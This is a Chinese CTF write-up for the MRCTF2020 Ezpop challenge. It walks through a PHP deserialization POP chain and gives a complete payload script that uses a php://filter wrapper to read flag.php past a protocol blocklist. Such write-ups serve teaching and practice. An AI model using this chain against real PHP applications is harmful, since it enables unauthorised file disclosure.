刷題[MRCTF2020]Ezpop


解題思路

打開一看直接是代碼審計的題,就嗯審。最近可能都在搞反序列化,先把反序列化的題刷爛,理解理解

代碼審計

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

看到反序列化函數,想到是反序列化的題了。類還行,不算很多,三個。一個一個分析

Modifier類

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

看到,我們需要反序列化的關鍵點了,include,文件包含漏洞,我們可以使用偽協議讀取注釋中flag.php中的內容

這里有魔法方法__invoke 當腳本嘗試將對象調用為函數時觸發,所以在腳本中,要把Modifier類調用為函數

Show類

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

看到這里有兩個魔法方法:
__toString 把類當作字符串使用時觸發
調用str屬性里的source,這里還看不出來有什么用

__wakeup 使用反序列化函數時觸發
過濾了source屬性里的一些字符串,過濾了部分偽協議讀取,但是還是有未過濾的偽協議可以讀取flag.php中的內容

正好這里的wakeup方法可以觸發tosring方法

Test類

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

這里有魔法方法:__get 從不可訪問的屬性中讀取數據會觸發
會返回function作為函數調用。

pop鏈

首先反序列化函數,觸發Show類中的wakeup方法,wakeup方法做字符串處理,觸發tosring方法,如果將str實例化為Test,因為Test類中不含source屬性,所以調用get方法,將function實例化為Modifier類,即可觸發其中invoke方法,最終調用文件包含函數,讀取flag.php

payload

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
	public function __construct($file){
    $this->source = $file;
    }
    public function __toString(){
        return "karsa";
    }
}

class Test{
    public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

解題

將base64解密,即得出flag

知識點

  • 代碼審計
  • 反序列化尋找pop鏈


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM